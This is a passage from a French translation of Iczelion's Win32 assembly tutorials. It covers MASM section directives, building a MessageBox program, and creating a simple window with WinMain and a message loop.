STDCALL est l'hybride de la Convention de Pascal et C. Il passe les paramètres de droit à gauche. La plate-forme Win32 emploie exclusivement STDCALL . Sauf dans un cas : wsprintf (). Vous devez employer la convention C avec wsprintf ()

.DATA
.DATA?
.CONST
.CODE
Ces quatre directives servent a appeler la section (00401000……). Vous n'avez pas de segments (0001.xxxx, 0002.xxxx,…) dans Win32, vous vous souvenez ? Mais vous pouvez diviser votre espace d'adresse (00401000 à 00620000 par exemple) en sections logiques, exemple : " le code de 00401000 à 005F0000 " et "les DATA de 005F0000 à 00620000 ". Le début d'une section est aussi la fin de la section précédente. Il existe deux groupes de sections : données et code. Les sections de données sont divisées en 3 catégories :

  • .DATA Cette section contient les données initialisées de votre programme.
  • .DATA? Cette section contient les données non initialisées de votre programme. Parfois vous voulez juste réserver un espace mémoire pour contenir de futures données, mais ne voulez pas l'initialiser (lui donner une valeur initiale). c'est le but de cette section. L'avantage des données non initialisées c'est : qu'elles ne prennent pas d'espace dans le fichier exécutable. Par exemple, si vous allouez(prévoyez) 10,000 octets dans votre .DATA ? La section de votre exécutable ne sera pas gonflée de 10,000 octets. Sa taille reste pratiquement la même. Vous dites seulement à l'assembleur de combien de place votre programme aura besoin une fois qu'il sera chargé en mémoire, c'est tout.
  • .CONST Cette section contient la déclaration des constantes employées par votre programme. Les constantes qui sont dans cette section ne seront jamais modifiées par votre programme. elles resteront seulement des *constantes*.

Vous n'êtes pas forcément obligé d'employer ces trois sections dans votre programme. Déclarez seulement la (ou les) section (s) que vous voulez utiliser.

Il y a seulement une section pour le code : .CODE. C'est celle où vos lignes de code résident.
<label>
end <label>
Où <label> représente n'importe quelle étiquette arbitraire, et est employée pour indiquer le début et la fin de votre code. Les deux 'label' doivent être identiques. Toutes vos lignes de code doivent se trouver entre <label> et end <label>

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 ASM tutorial 2: MessageBox

Tutorial 2: MessageBox

Dans ce tutorial, nous allons créer un programme Windows entièrement fonctionnel qui affiche une MessageBox (boîte de message) disant "Win32 assembly is great!".

Téléchargez le fichier d'exemple ici.

Théorie:

Windows met à notre disposition une multitudes de ressources pour les programmes Win (programmes fonctionnant sous windows). La plus importante, c'est l'API (Applications Programmant l'Interface). Les API sont une collection énorme de fonctions très utiles qui résident dans Windows lui-même, prêtes pour l'utilisation de n'importe quels autres programmes Win (programmes tournant sous Windows contrairement à ceux sous Dos). Ces fonctions sont stockées dans plusieurs bibliothèques dynamiquement liées (les DLLs) comme kernel32.dll, user32.dll et gdi32.dll. Kernel32.dll Contient les fonctions API qui traitent avec la mémoire et sa gestion. User32.dll contrôle les interfaces dont se sert votre programme. Gdi32.dll est responsable d'opérations graphiques. "Les trois principales " sont là, d'autre DLLs peuvent être employées pour votre programme, pourvu que vous ayez assez d'informations sur les fonctions API désirées.
Les programmes Win se lient dynamiquement avec ces DLLs, c'est-à-dire : Les codes des fonctions API ne sont pas inclus dans le programme Win exécutable. Pour votre programme puisse accéder à une l'API particulière pendant son exécution, vous devrez d'abord déclarer cette information dans le fichier exécutable. Cette information aura dû être placée dans une bibliothèque d'importation. Vous devez lier vos programmes avec les bibliothèques d'importation correctes ou ils ne seront pas capables de retrouver la fonction API souhaitée.
Quand un programme Win est chargé en mémoire, Windows lit l'information stockée dans le programme. Cette information inclut les noms des fonctions et les DLLs où résident ces fonctions. Ex : la DLL User32.dll contient la fonction MessageBox (ainsi qu'une multitude d'autres fonctions). L'information que cherchera Windows dans votre exécutable ce sera quelque chose comme " Call USER32 ! MessageBox ". Dès que Windows trombera sur un tel renseignement dans votre programme, il chargera la DLL et exécutera la fonction.
Il y a deux catégories de fonctions API : les unes pour ANSI et les autres pour Unicode. Les noms des fonctions API pour ANSI sont suivis du suffixe "A", ex : MessageBoxA. Celles pour Unicode ont le suffixe "W". Windows 95 se sert naturellement des fonctions ANSI, et Windows NT Unicode.
D'habitude on utilise la convention ANSI, qui pour l'ensemble des caractères proposés par votre ordinateur est terminés par le caractère NULL. ANSI représente chaque caractère sur 1 octet. Il est suffisant pour les langues européennes, mais il ne peut pas manipuler la plupart des langues orientales qui ont plusieurs milliers de caractères uniques. C'est pourquoi UNICODE entre en jeu. Un caractère UNICODE a une taille de 2 octets, ce qui lui permet d'avoir une série de code de 65536 caractères uniques.
Mais la plupart du temps, vous emploierez un fichier INCLUDE (*.inc) qui peut déterminer et choisir les fonctions API appropriées à votre plate-forme suivant ce que doit faire votre programme. Référez-vous juste aux noms de fonction API sans le suffixe.

Example:

Je vous ai mis ci-dessous le squelette nu d'un programme. Nous l'enrichirons plus tard.

.386
.model flat, stdcall
.data
.code
start:
end start

L'exécution commence à la première instruction immédiatement au-dessous de l'étiquette Start: Le programme s'exécutera instruction par instruction jusqu'à ce qu'une instruction de contrôle de direction comme jmp, jne, je ,ret Etc..soit trouvée. Ces instructions dirigent l'exécution vers d'autres lignes d'instructions. Quand le programme a besoin de sortir de Windows pour se terminer, il doit appeler la fonction ExitProcess qui est une API de la DLL Kernel32.dll.

ExitProcess proto uExitCode:DWORD

Ci dessus, ce type d'expression est appelé un prototype de fonction. Un prototype de fonction définit les attributs d'une fonction pour ensuite transformer cette expression (pseudo-assembler) en véritable assembler. Le format d'un prototype de fonction est le suivant :

FunctionName PROTO [ParameterName]:DataType,[ParameterName]:DataType,...

En résumé, le mot-clé PROTO est précédé du nom de la fonction puis suivi de la liste des paramètres, séparés par des virgules. Dans l'exemple ExitProcess ci-dessus, il définit ExitProcess comme étant une fonction qui prend seulement un unique paramètre de type DWORD. Les prototypes de fonctions sont très utiles quand vous employez la syntaxe d'appel de niveau haut :INVOKE. En plus, le Linker vérifiera si vous avez correctement utilisé la fonction que vous invokez. En outre, il vérifiie que ses paramètres ne sont pas oubliés.
Par exemple, si vous faites :

call ExitProcess

Sans pousser un dword sur la pile (Push 0, avant d'appeler la fonction ExitProcess), l'assembler ne sera pas capable de comprendre cette erreur à votre place. Vous vous en apecevrez plus tard quand votre programme plantera. Mais si vous employez :

invoke ExitProcess

Le linker vous informera que vous avez oublié de pousser un dword sur la pile évitant ainsi l'erreur. Je vous recommande donc d'employer. invoke au lieu d'un simple 'Call'. La syntaxe d''Invoke' est la suivante :

INVOKE expression [,arguments]

L'expression peut être le nom d'une fonction ou bien un pointeur de fonction. Les paramètres sont séparés par des virgules.

La plupart des prototypes de fonction pour des fonctions API sont tenus dans les fichiers nommés : INCLUDE. Si vous employez MASM32, ils seront dans le dossier MASM32/INCLUDE. Les fichiers INCLUDE possèdent l'extension .inc et les prototypes de fonction pour une DLL sont stockés dans le fichier .inc avec le même nom que la DLL. Par exemple, ExitProcess est exportée par kernel32.lib, donc le prototype de fonction pour ExitProcess est stocké dans kernel32.inc.
Vous pouvez aussi créer des prototypes de fonction pour vos propres fonctions. (HéHé ! ! !)
Partout dans mes exemples, j'emploierai windows.inc que vous pouvez télécharger à http://win32asm.cjb.net

Maintenant revenons à ExitProcess, uExitCode est la valeur du paramètre que vous voulez que votre programme renvoie à Windows après que celui-ci se termine. Vous pouvez appeler ExitProcess comme cela :

invoke ExitProcess, 0

Si vous placez cette ligne immédiatement après l' étiquette de commencement (ici on l'a appelée arbitrairement 'Start :', vous obtiendrez un programme win32 qui sortira immédiatement de Windows (pour revenir à ce que vous aviez à l'écran juste avant d'exécuter votre programme), mais c'est néanmoins un programme valide.

.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
.data
.code
start:
invoke ExitProcess,0
end start

L'option casemap:none indique à MASM de ne pas faire de différence entre les expressions ExitProcess et exitprocess par exemple. Notez la nouvelle directive, include. Cette directive est suivie par le nom du fichier que vous voulez insérer à sa place. Dans cet exemple, quand MASM traite la ligne include \masm32\include\windows.inc, Il ouvrira windows.inc qui est dans le dossier \MASM32\include et fera en sorte que son contenu (celui de windows.inc) soit collé dans votre programme win32. Il ne contient pas de prototype de fonction. windows.inc n'est en aucun cas complet(c'est compréhensif car on peut toujours y rajouter de nouvelles choses). Ce fichier 'windows.inc' est celui qui regroupe tous mes fichiers.inc je l'appelle le fichier 'HUTCH'. Il sera constamment remis à jour. Vérifiez donc HUTCH de temps en temps sur ma page d'accueil pour faire des mises à jour.

Dans notre exemple ci-dessus, nous appelons une fonction exportée par kernel32.dll, donc nous avons besoin d'inclure le prototype de fonction de kernel32.dll. Ce fichier est kernel32.inc. Si vous l'ouvrez avec un éditeur de texte, vous verrez que c'est plein de prototypes de fonction pour kernel32.dll. Si vous n'incluez pas kernel32.inc, vous pouvez toujours appeler ExitProcess, mais seulement avec la syntaxe d'appel simple (Push 0 puis Call ExitProcess). Vous ne serez pas capables d'invoker la fonction (ExitProcess).

*** Faisons le point : pour invoquer une fonction, vous devez mettre son prototype de fonction (qui est le contenu d'un des fichier *.inc) quelque part dans le code source. Dans notre exemple, si vous n'incluez pas kernel32.inc, vous pouvez définir le prototype de fonction pour ExitProcess n'importe où dans le code source au-dessus de la commande invokée et ça marchera. Les fichiers invokés doivent ici vous faciliter le travail en vous épargnant de taper les prototypes vous-même, donc employez-les chaque fois que vous le pouvez.
Maintenant nous rencontrons une nouvelle directive, includelib. includelib ne fonctionne pas comme include. C'est seulement une façon de dire à l'assembleur quelles bibliothèques d'importation sont employées par vos programmes. Quand l'assembleur voit une directive includelib, il met une commande de linker dans le fichier d'objet pour que le linker sache avec quelles bibliothèques d'importation votre programme a besoin de se lier. Vous n'êtes pas forcé d'employer includelib quoique. Vous pouvez spécifier les noms des bibliothèques d'importation dans la ligne de commande du linker, mais croyez-moi, c'est ennuyeux et la ligne de commande ne peut contenir que 128 caractères.

Sauvegardez maintenant cet exemple sous le nom de msgbox.asm. Vérifiez le chemin d'accès du fichier ml.exe, et assemblez msgbox.asm avec:

    ml /c /coff /Cp msgbox.asm
  • /c dit à MASM de seulement assembler. ça n'appelle pas link.exe. La plupart du temps, on ne veut pas appeler link.exe automatiquement puisque on doit exécuter certaines autres tâches avant d'appeler link.exe.

    • /coff dit à MASM de créer le fichier .obj dans le format COFF. MASM emploie une variante du format COFF (le Format de Fichier d'Objet Commun) qui est employé sous Unix comme son propre objet et le format de fichier exécutable.
    /Cp dit à MASM de préserver les identificateurs de l'utilisateur. Si vous employez les fichier du HUTCH (Les fichiers .inc), vous pouvez mettre l'"option casemap:none" en entête de votre source code. La directive .model réalise le même effet.
Après que vous ayez assemblé avec succès msgbox.asm, vous obtiendrez msgbox.obj. msgbox.obj est un fichier objet. Un fichier objet n'est pas loin d'un fichier exécutable. Il contient les instructions et les données dans la forme binaire. Ce qui manque, ce sont chacunes des adresses fixes devant les instructions. Et ça, c'est le linker qui va faire le boulot.

Alors allons y avec link:

    link /SUBSYSTEM:WINDOWS /LIBPATH:c:\masm32\lib msgbox.obj
/SUBSYSTEM:WINDOWS Ça informe 'Link' de quel sorte d'exécutable est votre programme.
/LIBPATH:<path to import library> Dit à Link où sont les bibliothèques d'importation. Si vous utilisez MASM32, ils seront dans le dossier MASM32\LIB.
Link lit dans le fichier *.obj et pose les adresses des bibliothèques d'importation. Quand le processus est fini vous obtenez msgbox.exe.

Maintenant vous arrivez à msgbox.exe. Continuez, exécutez-le. Vous constaterez qu'il ne fait rien. Bien, nous n'y avons rien mis d'intéressant encore. Mais c'est un programme de Windows néanmoins. Et regardez sa taille! Dans mon PC, il prend 1,536 octets.

Maintenant, nous allons créer une boîte de message. Son prototype de fonction est :

MessageBox PROTO hwnd:DWORD, lpText:DWORD, lpCaption:DWORD, uType:DWORD

hwnd est le 'handle' de la fenêtre parente. Vous pouvez vous imaginer qu'un 'Handle' est un numéro qui représente la fenêtre à laquelle vous faîtes référence. Sa valeur n'a pas d'importante pour vous. Vous vous rappelez seulement qu'il représente la fenêtre. Quand vous voulez faire quelque chose avec la fenêtre, vous devez vous y référer grâce à son 'handle'.
lpText est un pointeur sur le texte que vous voulez afficher en tant que Contenu de la MessageBox (boîte de message). Ce pointeur représente réellement l'adresse de quelque chose. Cette adresse sera quelque chose du genre 00602154 et elle sinifie que le contenu qui sert à votre boite de message est en fait écrit à partir de la mémoire 00602154 (Cette adresse fait toujours parti des DATA) = Le Contenu De La MessageBox
lpCaption est un pointeur sur le texte qui sert cette fois à accèder à l'adresse du texte qui sert de titre à la message box. = Le Titre De La MessageBox
uType spécifie le type de message box utilisée. Par exemple quels sont les boutons quelle doit avoir, est-ce une MessageBox simple ou bien une avec un signe particulier comme le Point d'Interrogation...

Modifions msgbox.asm pour inclure une MessageBox.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.data
MsgBoxCaption db "Iczelion Tutorial No.2",0
MsgBoxText db "Win32 Assembly is Great!",0

.code
start:
invoke MessageBox, NULL, addr MsgBoxText, addr MsgBoxCaption, MB_OK
invoke ExitProcess, NULL
end start

Assemblez le fichier msgbox.asm et exécutez le nouveau prog msgbox.exe. Vous verrez une boîte de message montrant le texte"Win32 Assembly is Great!".

Regardons de nouveau le code source.
Nous avons définis deux données terminées par un zéro dans la section .data. Rappelez-vous que chaque données ANSI dans Windows doit être terminée par le caractère NULL (0 hexadécimal).
Nous avons aussi employé deux constantes, le NULL et MB_OK. Ces constantes sont définies dans windows.inc. Donc vous pouvez faire référence à leurs noms à la place de leurs valeurs. Ca améliore la lisibilité de votre code source.
L'expression ADDR est employée pour passer l'adresse d'une données ou d'un label à la fonction. C'est valable seulement dans le contexte de la directive 'invoke'. Vous ne pouvez pas l'employer pour assigner l'adresse d'une donnée à un registre / variable, par exemple. Vous devez employer offset au lieu de 'ADDR' dans ce cas. Cependant, il y a quelques différences entre les deux :

  1. addr ne peut pas manipuler à l'avance la référence tandis qu' offset le peut. Par exemple, si la ligne où est rendu le programme, invoke un label qui est défini quelque part plus loin dans le code source, ADDR ne marchera pas.
    2. invoke MessageBox,NULL, addr MsgBoxText,addr MsgBoxCaption,MB_OK
    ......
    MsgBoxCaption db "Iczelion Tutorial No.2",0
    MsgBoxText db "Win32 Assembly is Great!",0
    MASM indiquera une erreur. Si vous utilisez offset au lieu de addr dans ce petit bout de code, alors MASM l'assemblera avec succès.
  2. addr peut manipuler des variables locales tandis qu' offset ne le peut pas. Une variable locale est seulement un petit espace réservé sur la pile. Vous connaîtrez son adresse seulement le temps de l'exécution. offset est interprété pendant le déroulement du programme par l'assembleur. Donc il est naturel qu' offset ne travaille pas avec des variables locales. addr est capable de manipuler des variables locales grâce au fait que l'assembleur vérifie d'abord si la variable mentionnée par addr est globale ou locale. Si c'est une variable globale, il met l'adresse de cette variable dans le fichier d'objet. À cet égard, il travaille comme offset. Si c'est une variable locale, il produit un jeu d'instructions qu'il appelle en réalité avant la fonction :
    3. lea eax, LocalVar
    push eax

    Puisque 'lea' peut déterminer l'adresse d'un label pendant l'exécution, ça fonctionne tès bien.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 ASM tutorial 3: Une Simple Fenêtre

Tutorial 3: Une Simple Fenêtre

Dans ce tutorial, nous construirons un programme Win qui ouvre une fenêtre entièrement fonctionnelle sur le bureau. (Un programme Win, est un programme qui tourne sous Windows et non pas comme certains sous DOS).
Downloadez le fichier en exemple ici

Théorie:

Les programmes Win font fréquemment appels aux fonctions API pour leur GUI (NdT : Graphic User Interface). Le GUI c'est l'ensemble des objets tels qu'une boîte de saisie de texte, les boutons... En fait, pour fabriquer un programme Win32 on crée d'abord une fenêtre principale vide(c'est ce qu'on va faire dans ce tutorial) puis on place par dessus des objets appartenant au GUI suivant ce qu'on veut. Il faut bien un lien entre la fenêtre principale et ses objets, car il peut aussi y avoir plusieurs fenêtres principales d'ouvertes, ce lien c'est le n°'Handle' de la fenêtre principale qui est donnée comme paramètre à chaque objet pour dire que ces objets appartiennent à cette fenêtre-ci et non à une autre. C'est à la fois bénéfique pour les utilisateurs et pour les programmeurs. Comme ça, les utilisateurs n'ont plus besoin de comprendre comment le GUI de chaques nouveaux programmes fonctionne. Pour chaque programme Win, le GUI est identique. Pour les programmeurs, les codes du GUI sont déjà à sa disposition, évalués et prêts à être utilisés. D'un autre côté, pour les programmeurs la complexité accrue. Pour créer ou manipuler n'importe quels objets du GUI comme les fenêtres, un menu ou des icônes, les programmeurs doivent suivre une recette stricte. Mais ceci peut être surmonté par la programmation modulaire ou le paradigme OOP.
Ci-dessous, je vous montre les étapes exigées pour créer une fenêtre sur le bureau:
  1. Déclarez l'"instance handle" de votre programme (obligatoire)

    2. l'instance handle du prog est l'adresse mémoire de base où windows à chargé l'exe dans le processeur, en général 400000 pour un exe et 100000 pour une DLL. Cette valeur sert à des fonctions win32 pour charger des ressources.
  2. Déclarez la 'command line' (Non exigé à moins que votre programme ne veuille traiter une ligne de commande)

    3. 'GetCommandLine' sert à connaître la ligne de commande lors du lancement de l'appli, des paramètres. exemple -->monprog.exe cmd1,cmd2 ,et tout ce qui est après exe fait partie de la ligne de commande.
  3. Définissez la 'window class' (Obligatoire, à moins que vous utilisiez un type de fenêtre prédéfini telle qu': une MessageBox ou une DialogBox)
  4. Créez la fenêtre (ben oui Obligé)
  5. Affichez la fenêtre sur le bureau (Obligé à moins que vous ne vouliez pas montrer la fenêtre immédiatement)
  6. Rafraichir l'intérieur de la (Client Area) zone de travail de notre fenêtre
  7. Créer un bout de code qui tourne sur lui-même à l'infini, capable de vérifier les messages de Windows (comme l'attente d'une action)
  8. Si des messages sont reçus, ils sont traités par une fonction spécifique
  9. Sortie du programme si l'utilisateur referme la fenêtre
Comme vous pouvez le voir, la structure d'un programme Win est plutôt complexe comparée à un programme fonctionnant sous DOS. Mais le monde de Windows diffère résolument du monde de DOS. Les programmes Win doivent être capables de coexister paisiblement les uns avec les autres. Ils doivent suivre des règles très strictes. Chaque programmeur doit aussi être très stricte avec son style de programmation et d'habitudes.

Contenu:

Ci-dessous voici le code source de notre programme ouvrant une simple fenêtre. Avant une plongée dans les entrailles de la programmation Win32 ASM, regardons quelques points importants qui simplifieront votre programmation.
  • Vous devez mettre tous les 'Constants Windows', les structures et les prototypes de fonction dans un fichier INCLUDE (*.inc) et l'inclure au début de votre fichier .asm. Cela vous évitera de gros efforts de réécriture par vous même. Actuellement, la plupart des fichiers INCLUDE ,tel que windows.inc, sont complets. La totalité des fichiers INCLUDE forment le répertoire HUTCH que vous pouvez télécharger sur ma page. Vous pouvez aussi définir vos propres constants et structures mais vous devez les mettre dans un fichier INCLUDE (*.inc) différent de 'windows.inc'.
    Les 'constants Windows', les 'structures' et les 'Prototypes de Fonction' sont toutes des instructions assembleur. Donc si vous n'avez pas compris, on écrit seulement des bouts de programme en ASM dans les fichiers *.inc et quand vous en avez besoin pour un de vos programmes, vos y faites référence grâce à une instruction spéciale :'INCLUDE…'
  • Utilisez la directive includelib pour indiquer quelle bibliothèque d'importation est employée par votre programme. Par exemple, si votre programme appelle la fonction MessageBox, vous devez mettre la ligne :
      • includelib user32.lib
    au début de votre fichier .asm. Cette directive informe MASM que votre programme utilisera certaines fonctions dans cette bibliothèque d'importation. Si les fonctions d'appels de votre programme ne font pas parti de la même bibliothèque, ajoutez juste un IncludeLib pour chaque bibliothèque que vous employez. En employant la directive IncludeLib, vous n'avez plus à vous inquiétez des bibliothèques d'importations. Vous pouvez employer /LIBPATH linker comme commutateur pour dire où se trouvent tous les libs et y faire ainsi référence.
  • En déclarant des prototypes de fonction API, des structures, ou des constants pour les inclure dans vos propres fichiers, essayez de respecter les noms d'origines employés par les fichiers INCLUDE de Windows. Ça vous évitera bien des maux de tête à chercher le bon article dans la référence Win32 API.
  • Employez le fichier makefile.bat pour automatiser votre processus d'assemblage. Cela vous évitera encore de tapez pleins de lignes de code à chaque fois.
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib ; Fait appel à des fonctions dans user32.lib et kernel32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA ; Initialise les DATA (ceux qui font déjà parti du programme)
ClassName db "SimpleWinClass",0 ; le nom de Class de votre fenêtre
AppName db "Our First Window",0 ; Le nom de votre fenêtre (c'est son titre)

.DATA? ; Initialise les DATA (ceux qui ne font pas encores parti du programme. EX: les futures saisies au clavier).
hInstance HINSTANCE ? ; l'Instance handle de votre programme
CommandLine LPSTR ?
.CODE ; C'est ici que commence votre code.
start:
invoke GetModuleHandle, NULL ; Récupère l'Instance handle de votre programme.
; Sous Win32, hmodule==hinstance mov hInstance,eax
mov hInstance,eax
invoke GetCommandLine ; Obtient la command line. vous n'avez besoin d'appeler cette fonction QUE SI
; votre programme n'a pas encore de command line.
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT ; Appelle la fonction principale
invoke ExitProcess, eax ; Sort de votre programme. Le code de sortie est retourné dans eax.

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX ; Créez des variables locales sur la pile
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX ; Place les valeurs dans les membres de wc
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc ; Enregistre notre 'Window Class', ainsi elle est définit
invoke CreateWindowEx,NULL,\
ADDR ClassName,\
ADDR AppName,\
WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
NULL,\
NULL,\
hInst,\
NULL
mov hwnd,eax
invoke ShowWindow, hwnd,CmdShow ; Affiche notre fenêtre sur le bureau
invoke UpdateWindow, hwnd ; Régénérez le client area

.WHILE TRUE ; Création d'une boucle pour traiter les messages qui arrivent.
invoke GetMessage, ADDR msg,NULL,0,0 (comme détection du déplacement de la souris)
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam ; Retoune le code de sortie dans eax
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY ; si l'utilisateur ferme notre fenêtre (parce qu'on vient de recevoir un message WM_DESTROY)...alors
invoke PostQuitMessage,NULL ; on quitte notre application
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam ; Traitement par défaut de tous les autres messages qui ne nous intéressent pas.
ret
.ENDIF
xor eax,eax
ret
WndProc endp

end start

Analyse:

Il se peut que vous soyez déconcerté par le fait qu'un programme ouvrant une simple fenêtre exige tant de codes. Mais la plupart de ces codes sont juste *une ossature commune pour tous les prog*. Ces codes vous pouvez les copier d'un fichier de code source à un autre. Ou si vous préférez, vous pourriez assembler quelques-uns de ces codes dans une bibliothèque pour être employés comme une sorte d''introduction' dans votre programme. Ensuite vous pourrez vous contenter d'écrire les lignes de codes dans la fonction WinMain. Où 'WinMain' est en fait un peu comme la procédure principale dans laquelle vous écrirez votre programme. Sachez que c'est ce que font les compilateurs C. Ils vous laissent écrire uniquement les codes de WinMain (ou dans WinMain) sans s'inquiéter du reste. Le seul inconvénient c'est que vous devez avoir une fonction nommée WinMain sinon les compilateurs C ne seront pas capables de combiner vos codes avec ceux de votre INTRODUCTION. Vous n'aurez pas de telles restrictions avec le langage Assembleur. Vous pouvez employer d'autres noms de fonction que 'WinMain' ou bien même aucune fonction du tout
Soyez prévenus. Ça va être un long tutorial. On va analyser ce programme à mort!.
    .386
    .model flat,stdcall
    option casemap:none

    WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

    include \masm32\include\windows.inc
    include \masm32\include\user32.inc
    include \masm32\include\kernel32.inc
    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\kernel32.lib

Les trois premières lignes sont "NECESSAIRES". .386 dit à MASM que nous avons l'intention d'employer le jeu d'instruction de processeur 80386 dans ce programme. .model flat,stdcall dit à MASM que notre programme emploie la mémoire plate adressant le modèle. C'est pourquoi nous employons le paramètre stdcall prenant par défaut cette convention dans notre programme.
Ensuite c'est au tour du prototype de fonction de WinMain. Puisque nous appellerons WinMain plus tard, nous devons définir son prototype de fonction d'abord, pour que nous puissions l'invoquer par la suite.
Nous devons inclure windows.inc au début du code source. Il contient les structures importantes et les constants qui sont employés par notre programme. Le fichier INCLUDE, windows.inc, est simplement un fichier texte. Vous pouvez l'ouvrir avec n'importe quel éditeur de texte. Notez s'il vous plaît que windows.inc ne contient pas toutes les structures et constants (encore). Pour ce qui est du HUTCH (le groupe de fichiers *.inc) j'y travaille.
Notre programme appelle les fonctions API qui résident dans user32.dll (CreateWindowEx, RegisterWindowClassEx, par exemple) et kernel32.dll (ExitProcess), donc nous devons lier notre programme avec ces deux bibliothèques d'importation. Vient la question suivante : comment puis-je savoir qui importe la bibliothèque qui doit être liée avec mon programme ? La réponse : Vous devez savoir où résident les fonctions API appelées par votre programme. Par exemple, si vous appelez une fonction API dans gdi32.dll, vous devez vous lier avec gdi32.lib.
C'est l'approche spécifique de MASM. Pour TASM, la bibliothèque d'importation qui est liée à votre programme est uniquement : import32.lib. C'est beaucoup , beaucoup plus simple.
    .DATA
    ClassName db "SimpleWinClass",0
    AppName db "Our First Window",0

    .DATA?
    hInstance HINSTANCE ?
    CommandLine LPSTR ?

Ci-dessus on trouve les 2 sections pour les "DATA".
Dans .DATA, on déclare deux données terminées chacune par zéro : ClassName est le nom de notre classe de fenêtre (de notre Window Class).
'AppName' est le nom de notre fenêtre. Notez que les deux variables sont initialisées.
Dans .DATA?, Deux variables sont déclarées : HINSTANCE (l'Instance Handle de notre programme) et CommandLine (ligne de commande de notre programme). Ces deux données sont extrêmement courrantes, HINSTANCE et LPSTR, sont vraiment de nouveaux noms (de type: DWORD). Vous pouvez les voir dans windows.inc. Notez que chacunes des variables se trouvant dans la section .DATA ? ne sont pas initialisées, c'est-à-dire qu'elles ne doivent pas contenir de valeur spécifique au démarrage, mais nous réservons de l'espace pour notre future utilisation.
    .CODE
    start:
    invoke GetModuleHandle, NULL
    mov hInstance,eax
    invoke GetCommandLine
    mov CommandLine,eax
    invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
    invoke ExitProcess,eax
    .....
    end start
.CODE contient toutes vos instructions ASM. Vos codes doivent résider entre le label " Start : " et le label " End Start ". Le nom du label est arbitraire. Vous pouvez le nommer comme ça vous chante tant qu'il est unique et ne viole pas la convention de nom de MASM. Par exemple vous ne pouvez pas prendre le mot 'Mov' comme nom de label.
Notre première instruction est l'appel GetModuleHandle pour aller chercher l'Instance handle de notre programme. Sous Win32, l' Instance Handle et Module Handle sont les mêmes. Vous pouvez vous représenter l'Instance Handle comme le n° d'identification de votre programme. Il est employé comme paramètre par plusieurs des fonctions API que notre programme doit appeler, donc c'est généralement une bonne IDée de le déclarer dès le début de notre programme.
Notez : En réalité sous win32, l'Instance Handle est l'adresse linéaire de votre programme dans la mémoire.
Après avoir fait appel à une fonction Win32 (une API), la valeur en retour de cette fonction, est placée dans eax. Toutes les autres valeurs sont renvoyées par des variables que vous avez vous-même défini avant le Call qui appel cette fonction.
Une fonction Win32 (ou une procédure) que vous appelez(Call) souvent préservera les Registres de segment ebx, edi, esi et le Registre ebp. Au contraire, ecx et edx sont considérés comme des Registres de travail et sont toujours indéfinis après la sortie d'une fonction de Win32 (sortie d'une procédure).
Notez : n'espérez pas que les valeurs d'eax, ecx, edx soient préservés après un appel de fonction API.
La ligne qui suit l'appel (un call) d'une fonction API, attend en retour une valeur dans eax. Dès que vous appelez une fonction API de Windows, vous devez utiliser la règle suivante : préservez puis rétablissez les valeurs des Registres de segment ebx, edi, esi et ebp après le retour de la fonction sinon votre programme plantera peu de temps après, c'est valable pour vos procédures Windows et pour les fonctions de rappel de service Windows. (les fonctions CallBack)
L'appel 'GetCommandLine'est inutile si votre programme ne traite pas de ligne de commande. Dans cet exemple, je vous montre comment l'appeler dans le cas où vous en auriez besoin dans votre programme.
Vient ensuite l'appel de WinMain. Ici il reçoit quatre paramètres : l'Instance Handle de notre programme, l'Instance Handle du précédent Instance de notre programme (un programme de plus haut niveau qui aurait appeler le notre), la Command Line et l'état de la fenêtre à sa première apparition. Sous Win32, il n'y a AUCUN Instance précédent(premier). Chaque programme est seul dans son espace d'adresse, donc la valeur d'hPrevInst est toujours 0. C'est un des restes de Win16 quand tous les programmes étaient encore exécutés dans un même espace d'adresses pour savoir si c'était le premier Instance ou non. Donc sous win16, si hPrevInst est NUL, alors c'est que c'est le premier Instance.
Notez : Vous n'êtes pas obligé de déclarer le nom de fonction en tant que : 'WinMain'. En fait, vous avez une totale liberté à cet égard. Et même, vous pouvez ne pas employer de fonction WinMain-équivalent du tout. Le but est de placer votre code (votre véritable programme) à l'intérieur de la fonction WinMain à côté de GetCommandLine et votre programme sera toujours capable de fonctionner parfaitement.
A la sortie de WinMain, eax est rempli avec une valeur de sortie. Nous passons cette valeur de sortie en tant que paramètre à ExitProcess qui sert à terminer notre programme.

WinMain proc Inst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD

